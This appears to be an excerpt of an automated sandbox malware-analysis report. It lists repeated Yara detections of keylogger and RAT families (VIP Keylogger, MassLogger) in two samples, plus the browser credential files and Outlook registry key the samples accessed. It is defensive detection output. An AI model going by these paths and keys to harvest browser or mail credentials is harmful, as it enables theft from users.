              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3425570.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.3.Native_New-Nova.exe.5993e8.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.49d0000.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.2142746.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80f08.7.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80000.6.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a2746.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.214183e.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.2221216.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.3600190.7.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.4930f20.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.4b10000.8.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.3.Native_snake01.exe.680768.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.4a10000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.4a10000.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a2746.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d5570.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d5570.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.49c0f20.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3425570.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.3.Native_New-Nova.exe.59f268.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.4b10000.8.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.2221216.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a183e.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0f08.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.49d0000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.49c0000.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.49c0f20.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.4930000.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d6478.6.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3426478.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d6478.6.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.3.Native_New-Nova.exe.59f268.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.4930f20.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.22202f6.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.49c0000.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.50b0000.8.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3450190.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3426478.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a183e.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3450190.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.2141216.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.3.Native_New-Nova.exe.5993e8.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.3600190.7.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.21402f6.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0f08.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0000.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.50b0000.8.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.4930000.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.2141216.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.2142746.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.21402f6.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.22202f6.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.3.Native_snake01.exe.680768.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000010.00000002.2951469963.0000000002101000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2953521524.0000000002261000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2963089780.00000000035D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000002.2954940699.00000000021E0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2954150757.00000000023E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000002.2969063278.00000000049C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000003.1776206771.0000000000680000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.2964034510.0000000004A80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.2969436130.0000000004930000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.1775462812.000000000059F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000003.1732371805.0000000000768000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.2970078800.00000000049D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000003.1730790993.0000000000599000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.2953656770.0000000002100000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.2962477768.0000000003421000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.2965310039.00000000050B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000002.2969184624.0000000004A10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2964658526.0000000004B10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: Native_New-Nova.exe PID: 7380, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: Native_snake01.exe PID: 7396, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: Native_New-Nova.exe PID: 7800, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: Native_snake01.exe PID: 7820, type: MEMORYSTR
              Yara detected VIP Keylogger
              Source: Yara matchFile source: 10.2.Native_snake01.exe.49d0000.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.2221216.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.4930f20.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.3.Native_snake01.exe.680768.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.4a10000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.4a10000.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.49c0f20.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.2221216.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.49d0000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.49c0000.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.49c0f20.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.4930000.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.4930f20.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.22202f6.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.49c0000.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.2141216.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.21402f6.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.4930000.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.2141216.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.21402f6.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.22202f6.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.3.Native_snake01.exe.680768.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000011.00000002.2954940699.00000000021E0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000002.2969063278.00000000049C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000003.1776206771.0000000000680000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.2969436130.0000000004930000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.2956341043.000000000255B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000003.1732371805.0000000000768000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.2970078800.00000000049D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.2953656770.0000000002100000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000002.2969184624.0000000004A10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000002.2957921883.000000000271C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: Native_snake01.exe PID: 7396, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: Native_snake01.exe PID: 7820, type: MEMORYSTR
              Tries to harvest and steal browser information (history, passwords, etc)
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites
              Tries to steal Mail credentials (via file / registry access)
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeFile opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeFile opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.214183e.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80000.6.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80f08.7.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0000.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3425570.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.3.Native_New-Nova.exe.5993e8.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.49d0000.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.2142746.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80f08.7.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80000.6.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a2746.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.214183e.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.2221216.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.3600190.7.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.4930f20.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.4b10000.8.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.3.Native_snake01.exe.680768.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.4a10000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.4a10000.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a2746.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d5570.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d5570.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.49c0f20.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3425570.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.3.Native_New-Nova.exe.59f268.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.4b10000.8.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.2221216.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.4930000.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a183e.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0f08.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.49d0000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.49c0000.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.49c0f20.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.22202f6.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d6478.6.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3450190.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3426478.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d6478.6.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.3.Native_New-Nova.exe.59f268.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.4930000.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.4930f20.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.49c0000.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.50b0000.8.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3450190.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3426478.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a183e.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.2141216.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.3.Native_New-Nova.exe.5993e8.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.3600190.7.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0000.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.21402f6.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0f08.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.50b0000.8.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.2141216.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.2142746.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.3.Native_snake01.exe.680768.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.Native_snake01.exe.21402f6.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 17.2.Native_snake01.exe.22202f6.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000010.00000002.2951469963.0000000002101000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2953521524.0000000002261000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2963089780.00000000035D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000002.2954940699.00000000021E0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2954150757.00000000023E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000002.2957921883.000000000268B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000002.2969063278.00000000049C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000003.1776206771.0000000000680000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.2964034510.0000000004A80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.2969436130.0000000004930000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.2956341043.000000000255B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.1775462812.000000000059F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000003.1732371805.0000000000768000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2956686994.0000000002761000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.2970078800.00000000049D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000003.1730790993.0000000000599000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.2953656770.0000000002100000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.2954971703.00000000025AF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.2962477768.0000000003421000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.2965310039.00000000050B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000002.2969184624.0000000004A10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2964658526.0000000004B10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: Native_New-Nova.exe PID: 7380, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: Native_snake01.exe PID: 7396, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: Native_New-Nova.exe PID: 7800, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: Native_snake01.exe PID: 7820, type: MEMORYSTR

              Remote Access Functionality

              barindex
              Yara detected MSIL Logger
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.214183e.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80000.6.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80f08.7.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0000.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3425570.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.3.Native_New-Nova.exe.5993e8.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.2142746.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80f08.7.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80000.6.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a2746.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.214183e.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.3600190.7.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.4b10000.8.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a2746.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d5570.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d5570.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3425570.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.3.Native_New-Nova.exe.59f268.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.4b10000.8.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a183e.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0f08.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d6478.6.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3426478.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.35d6478.6.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.3.Native_New-Nova.exe.59f268.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3450190.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.50b0000.8.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3450190.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3426478.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.22a183e.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.3.Native_New-Nova.exe.5993e8.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.3600190.7.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0f08.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0000.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.50b0000.8.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.2142746.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000010.00000002.2951469963.0000000002101000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2953521524.0000000002261000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2963089780.00000000035D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2954150757.00000000023E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.2964034510.0000000004A80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.1775462812.000000000059F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000003.1730790993.0000000000599000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.2962477768.0000000003421000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.2965310039.00000000050B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.2964658526.0000000004B10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: Native_New-Nova.exe PID: 7380, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: Native_New-Nova.exe PID: 7800, type: MEMORYSTR
              Yara detected MassLogger RAT
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.214183e.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80000.6.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.4a80f08.7.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 9.2.Native_New-Nova.exe.23e0000.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.Native_New-Nova.exe.3425570.4.unpack, type: UNPACKEDPE
